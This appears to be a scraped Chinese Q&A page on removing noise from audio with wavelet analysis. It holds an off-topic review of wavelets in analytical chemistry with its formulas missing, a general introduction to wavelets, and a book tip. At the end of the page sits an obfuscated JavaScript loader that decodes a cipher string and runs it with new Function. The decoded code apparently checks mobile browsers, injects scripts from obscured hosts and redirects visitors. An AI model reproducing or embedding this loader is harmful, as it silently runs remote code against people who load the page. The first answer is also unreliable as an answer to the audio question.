用小波分析法除去音频信号的噪声

2025-02-21 12:25:24
推荐回答(3个)
回答1:

小波变换及其应用是八十年代后期发展起来的应用数学分支,被称为“Fourier分析方法的突破性进展[1]”。 1986年Meyer Y构造了一个真正的小波基,十多年间小波分析及其应用得到了迅速发展,原则上传统的傅里叶分析可用小波分析方法取代[2],它能对几乎所有的常见函数空间给出通过小波展开系数的简单刻划,也能用小波展开系数描述函数的局部光滑性质,特别是在信号分析中,由于它的局部分析性能优越,因而在数据压缩与边缘检测等方面它比现有的手段更为有效[3-8]。 小波变换在图像压缩中的应用因它的高压缩比和好的恢复图像质量而引起了广泛的注意,且出现了各种基于小波变换的图像压缩方案。
小波变换自1992年Bos M等[9]首先应用于流动注射信号的处理,至今虽才8年时间,但由于小波变换其优良的分析特性而迅速渗透至分析化学信号处理的各个领域。本文介绍了小波变换的基本原理及其在分析化学中的应用情况。
1 基本原理
设f(t)为色谱信号,其小波变换在L2(R)中可表示为:

其中a, b∈R,a≠0,参数a称为尺度因子b为时移因子,而(Wf)(b, a)称为小波变换系数,y(t)为基本小波。在实际分析化学信号检测中其时间是有限长度,f(t)通常以离散数据来表达,所以要采用Mallat离散算法进行数值计算,可用下式表示:
fj+1=θj + f j
其中:N为分解起始尺度;M为分解次数;fj和qj可由下式求得:

此处:Φj, m为尺度函数;Ψj, m 为小波函数;系数Cmj ,dmj可由下式表达:

hk-2m , gk-2m取决于小波母函数的选取。
用图表示小波分解过程如下:

图中fN 、fN-1....fN-m和θN-1、θN-2....θN-m分别称为在尺度N上的低频分量和高频分量。上述分解过程的逆过程即是信号的重构过程。
2 分析化学中的应用
根据小波变换基本原理及其优良的多分辩分析特性,本文将小波变换在分析化学信号处理中的应用划归为以下三个方面:
2.1 信号的滤波
小波滤波方法目前在分析化学中应用主要是小波平滑和小波去噪两种方法。小波平滑是将某一信号先经小波分解,将在时间域上的单一信号分解为一系列不同尺度上的小波系数(也称不同频率上的信号), 然后选定某一截断尺度,使高于此尺度的小波系数全部为零,再重构信号,这样就完成了一个低通小波滤波器的设计;而小波去噪,则是在小波分解基础上选定一阈值,对所有尺度空间的小波系数进行比较,使小于此阈值的小波系数为零,然后重构信号[10]。
邵利民[11]等首次将小波变换应用于高效液相色谱信号的滤波,他们应用了Haar小波母函数,由三次小波分解后所得的低频部分重构色谱信号,结果成功地去除了噪声,明显地提高了色谱信号的信噪比,而色谱峰位保持一致,此法提高了色谱的最低检测量和色谱峰的计算精度。董雁适[12]等提出了基于色谱信号的小波自适应滤波算法,使滤波与噪声的频带分布,强度及信噪在频带上的交迭程度基本无关,具有较强的鲁棒性。
在光谱信号滤噪中的应用,主要为红外光谱和紫外光谱信号滤噪方面的应用,如Bjorn K A[13]等将小波变换用于红外光谱信号的去噪,运用6种不同的小波滤噪方法(SURE,VISU,HYBRID,MINMAX,MAD和WP)对加噪后红外光谱图进行了去噪,针对加噪与不加噪的谱图,对Fourier变换、移动平均滤波与小波滤波方法作了性能比较研究,结果认为Fourier变换、移动平均滤波等标准滤波方法在信噪比很低时滤噪性能与小波滤波方法差不多,但对于高信噪比的信号用小波滤噪方法(特别是HYBRID和VISU)则更有效 。闵顺耕[14]等对近红外漫反射光谱进行了小波变换滤波。顾文良[15]等对示波计时电信号进行了滤噪处理。王立世[16]等对电泳信号也做了小波平滑和去噪,都取得了满意的效果。邹小勇[17]等利用小波的时频特性去除了阶跃伏安信号中的噪音,并提出了样条小波多重滤波分析方法,即将过滤后的高频噪音信号当成原始信号进行滤波处理,使之对有用信号进行补偿。鲍伦军等[18]将样条小波和傅里叶变换联用技术应用于高噪音信号的处理。另外,程翼宇[19]等将紫外光谱信号的滤噪和主成分回归法进行了有机的结合,提出了小波基主成分回归(PCRW)方法,改善了主成分回归算法。
2.1 信号小波压缩
信号经小波分解之后,噪音信号会在高频部分出现,而对于有用的信号分量大部分在低频部分出现,据此可以将高频部分小波系数中低于某一阈值的系数去除,而对其余系数重新编码,只保留编码后的小波系数,这样可大大减少数据贮存量,达到信号压缩的目的。
在近代分析化学中分析仪器的自动化水平在不断提高,分析仪器所提供的数据量越来越大。寻找一种不丢失有效信息的数据压缩方法,节省数据的贮存量,或降低与分析化学信息处理有关的一些算法的处理量,已成为人们关心的问题。Chau F T等[20]用快速小波变换对模拟和实验所得的紫外可见光谱数据进行了压缩,讨论了不同阶数的Daubechies小波基、不同的分解次数及不同的阈值对压缩结果的影响。Barclay V J和Bonner R F[10]对实验光谱数据作了压缩,压缩率可达1/2~1/10,并指出在数据平滑和滤噪的同时,也能进行数据的压缩是小波有别与其他滤波方法的一大特点。王洪等[21]用Daubechies二阶正交小波基对聚乙烯红外光谱进行了成功的压缩,数据可压缩至原来的1/5以下。邵学广等[22]对一维核磁共振谱数据作了小波变换压缩,分别对常用的Haar、Daubechies以及Symmlet小波基作了比较,其结果表明准对称的Symmlet小波基对数据的复原效果最佳,而且在压缩到64倍时,均方差仍然较小。章文军等[23]提出了常用小波变换数据压缩的三种方法,将紧支集小波和正交三次B-样条小波压缩4-苯乙基邻苯二甲酸酐的红外光谱数据进行了对比,计算表明正交三次B-样条小波变换方法效果较好,而在全部保留模糊信号及只保留锐化信号中数值较大的系数时,压缩比大而重建光谱数据与原始光谱数据间的均方差较小。邵学广等[24]将小波数据压缩与窗口因子分析相结合,在很大程度上克服了用窗口因子分析直接处理原始信号时人工寻找最佳窗口的困难,在压缩比高达8:1的情况下,原始信号中的有用信息几乎没有丢失,窗口因子分析的解析时间大为缩短。Bos M等[25]用Daubechies小波对红外光谱数据进行压缩,压缩后的数据作为人工神经网络算法的输入接点,从而提高了人工神经网络的训练速度,预测的效果也比直接用光谱数据训练的要好。
2.3 小波多尺度分析
在多尺度分析方面的应用主要是对化学电信号进行小波分解,使原来单一的时域信号分解为系列不同频率尺度下的信号,然后对这些信号进行分析研究。
小波在色谱信号处理方面的应用,主要是对重叠色谱峰的解析。邵学广[26-27]等对苯、甲苯、乙苯三元体系色谱重叠峰信号小波变换后的某些频率段进行放大,然后重构色谱信号,使重叠色谱峰得到了分离,定量分析结果得到了良好的线性关系。此后邵学广[28]等利用了谱峰提取法对植物激素重叠色谱峰作了定量计算,此法表明,利用小波变换从重叠色谱信号中提取的各组分的峰高与浓度之间仍然具有良好的线性关系。
重叠伏安峰的分辨是电分析化学中一个长期存在的难题。当溶液中存在两种或更多的电活性物质,而这些物质的氧化(或还原)电位又很靠近时,就会不可避免地出现重叠峰的现象,而给进一步的定性、定量分析带来了很大困难。因此,人们做了较多的工作去解决这一难题。数学方法是目前处理重叠峰的重要手段,如Fourier变换去卷积以及曲线拟合。曲线拟合通常用来获得“定量”的信息,但这种方法有较多的人为因素,重叠峰包含的峰的个数,相对强度都是靠假设得来,因而可能引入严重的误差;去卷积方法则是一种频域分析手段,但该方法需先找出一个函数来描述伏安峰,然后再根据这个函数来确定去卷积函数,因此,去卷积函数的确定是比较麻烦的,尤其是对不可逆电极过程,无法找到一个合适的函数表达式,而且该方法还需经正、反Fourier变换,比较繁琐费时, 而小波分析的出现成了电分析化学家关注的热点。
陈洁等[29]用DOG小波函数处理差分脉冲实验数据,通过选择合适的伸缩因子,成功地延长了用DPV法测定Cu2+的线性范围。郑建斌等[30-31]将小波变换用于示波计时电位信号的处理,在有用信息提取、重叠峰分辨等方面进行了系统的研究。王洪等[32]将小波边缘检测的思想用于电位滴定终点的确定,找到了一种判断终点准确的终点判断方法。郑小萍等[33]将样条小波变换技术用于分辨重叠的伏安峰,以选定的分辨因子作用于样条小波滤波器,构造了一个小波峰分辨器,用它来直接处理重叠的伏安峰,取得了较好的分离效果,被处理重叠峰可达到完全基线分离,且峰位置和峰面积的相对误差均较小。
对于红外光谱图,目前也是通过对红外谱图进行小波分解,以提高红外谱图的分辩率。陈洁[34]等对辐射合成的丙烯酰胺、丙烯酸钠共聚物水凝胶的红外光谱信号经小波处理后,使其特征吸收带较好地得到分离,成功地提高了红外光谱图的分辨率。谢启桃[35]等对不同晶型聚丙烯红外光谱图作了小波变换,也得到了可用以区分聚丙烯a、b两晶型的红外光谱图。
3 展望
小波变换由于其优良的局部分析能力,使其在分析化学信号的滤噪、数据压缩和谱峰的分离方面得到了很好的应用。本人通过对小波变换在化学中应用的探索,认为对于分析化学中各种电信号的平滑、滤波还有待作更深入的研究,以设计出更为合理有效的小波滤波器,以消除由于平滑而导至的尖锐信号的峰高及峰面积的变化或由于去噪而带来的尖锐信号附近的不应有的小峰的出现;对于重叠峰的分离及其定量计算,还应该探讨如色谱峰基线的确定方法以及待分离频率段的倍乘系数的确定方法;另外对于色谱峰的保留指数定性问题,由于不同化合物在某一确定的分析条件下有可能会出现保留值相同的情况,这将使在未知样中加标准的峰高叠加法定性或外部标准物对照定性变得困难,我们是否可能对色谱峰进行小波分解,然后在不同的尺度上对其进行考察,以寻求色谱峰的小波定性方法,这可能是个可以进一步研究的问题。
小波变换将在分析化学领域得到更加广泛的应用,特别对于分析化学中的多元定量分析法,如多元线性回归法(MLR),主成分回归法(PCR),偏最小二乘法(PLS)等方法及人工神经网络(ANN)将会同小波变换进行有机的结合,以消除各种噪声干扰对定量分析的影响;或对相关数据进行压缩以减少待分析数据的冗余,提高分析精度和大大减少计算量提高分析速度。小波变换将会成为分析化学中定量和定性分析的一种非常重要的工具。

回答2:

小波分析 (Wavelet)

小波分析是当前数学中一个迅速发展的新领域,它同时具有理论深刻和应用十分广泛的双重意义。

小波变换的概念是由法国从事石油信号处理的工程师J.Morlet在1974年首先提出的,通过物理的直观和信号处理的实际需要经验的建立了反演公式,当时未能得到数学家的认可。正如1807年法国的热学工程师J.B.J.Fourier提出任一函数都能展开成三角函数的无穷级数的创新概念未能得到著名数学家J.L.Lagrange,P.S.Laplace以及A.M.Legendre的认可一样。幸运的是,早在七十年代,A.Calderon表示定理的发现、Hardy空间的原子分解和无条件基的深入研究为小波变换的诞生做了理论上的准备,而且J.O.Stromberg还构造了历史上非常类似于现在的小波基;1986年著名数学家Y.Meyer偶然构造出一个真正的小波基,并与S.Mallat合作建立了构造小波基的同意方法枣多尺度分析之后,小波分析才开始蓬勃发展起来,其中比利时女数学家I.Daubechies撰写的《小波十讲(Ten Lectures on Wavelets)》对小波的普及起了重要的推动作用。它与Fourier变换、窗口Fourier变换(Gabor变换)相比,这是一个时间和频率的局域变换,因而能有效的从信号中提取信息,通过伸缩和平移等运算功能对函数或信号进行多尺度细化分析(Multiscale Analysis),解决了Fourier变换不能解决的许多困难问题,从而小波变化被誉为“数学显微镜”,它是调和分析发展史上里程碑式的进展。

小波(Wavelet)这一术语,顾名思义,“小波”就是小的波形。所谓“小”是指它具有衰减性;而称之为“波”则是指它的波动性,其振幅正负相间的震荡形式。与Fourier变换相比,小波变换是时间(空间)频率的局部化分析,它通过伸缩平移运算对信号(函数)逐步进行多尺度细化,最终达到高频处时间细分,低频处频率细分,能自动适应时频信号分析的要求,从而可聚焦到信号的任意细节,解决了Fourier变换的困难问题,成为继Fourier变换以来在科学方法上的重大突破。有人把小波变换称为“数学显微镜”。

小波分析的应用是与小波分析的理论研究紧密地结合在一起地。现在,它已经在科技信息产业领域取得了令人瞩目的成就。 电子信息技术是六大高新技术中重要的一个领域,它的重要方面是图像和信号处理。现今,信号处理已经成为当代科学技术工作的重要部分,信号处理的目的就是:准确的分析、诊断、编码压缩和量化、快速传递或存储、精确地重构(或恢复)。从数学地角度来看,信号与图像处理可以统一看作是信号处理(图像可以看作是二维信号),在小波分析地许多分析的许多应用中,都可以归结为信号处理问题。现在,对于其性质随实践是稳定不变的信号,处理的理想工具仍然是傅立叶分析。但是在实际应用中的绝大多数信号是非稳定的,而特别适用于非稳定信号的工具就是小波分析。

小波分析是当前应用数学和工程学科中一个迅速发展的新领域,经过近10年的探索研究,重要的数学形式化体系已经建立,理论基础更加扎实。与Fourier变换相比,小波变换是空间(时间)和频率的局部变换,因而能有效地从信号中提取信息。通过伸缩和平移等运算功能可对函数或信号进行多尺度的细化分析,解决了Fourier变换不能解决的许多困难问题。小波变换联系了应用数学、物理学、计算机科学、信号与信息处理、图像处理、地震勘探等多个学科。数学家认为,小波分析是一个新的数学分支,它是泛函分析、Fourier分析、样调分析、数值分析的完美结晶;信号和信息处理专家认为,小波分析是时间—尺度分析和多分辨分析的一种新技术,它在信号分析、语音合成、图像识别、计算机视觉、数据压缩、地震勘探、大气与海洋波分析等方面的研究都取得了有科学意义和应用价值的成果。

事实上小波分析的应用领域十分广泛,它包括:数学领域的许多学科;信号分析、图像处理;量子力学、理论物理;军事电子对抗与武器的智能化;计算机分类与识别;音乐与语言的人工合成;医学成像与诊断;地震勘探数据处理;大型机械的故障诊断等方面;例如,在数学方面,它已用于数值分析、构造快速数值方法、曲线曲面构造、微分方程求解、控制论等。在信号分析方面的滤波、去噪声、压缩、传递等。在图像处理方面的图像压缩、分类、识别与诊断,去污等。在医学成像方面的减少B超、CT、核磁共振成像的时间,提高分辨率等。

(1)小波分析用于信号与图像压缩是小波分析应用的一个重要方面。它的特点是压缩比高,压缩速度快,压缩后能保持信号与图像的特征不变,且在传递中可以抗干扰。基于小波分析的压缩方法很多,比较成功的有小波包最好基方法,小波域纹理模型方法,小波变换零树压缩,小波变换向量压缩等。

(2)小波在信号分析中的应用也十分广泛。它可以用于边界的处理与滤波、时频分析、信噪分离与提取弱信号、求分形指数、信号的识别与诊断以及多尺度边缘检测等。

(3)在工程技术等方面的应用。包括计算机视觉、计算机图形学、曲线设计、湍流、远程宇宙的研究与生物医学方面。

回答3:

介绍你一本书:
《实用小波分析入门》
作者: 刘涛等
出版社: 国防工业出版社

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();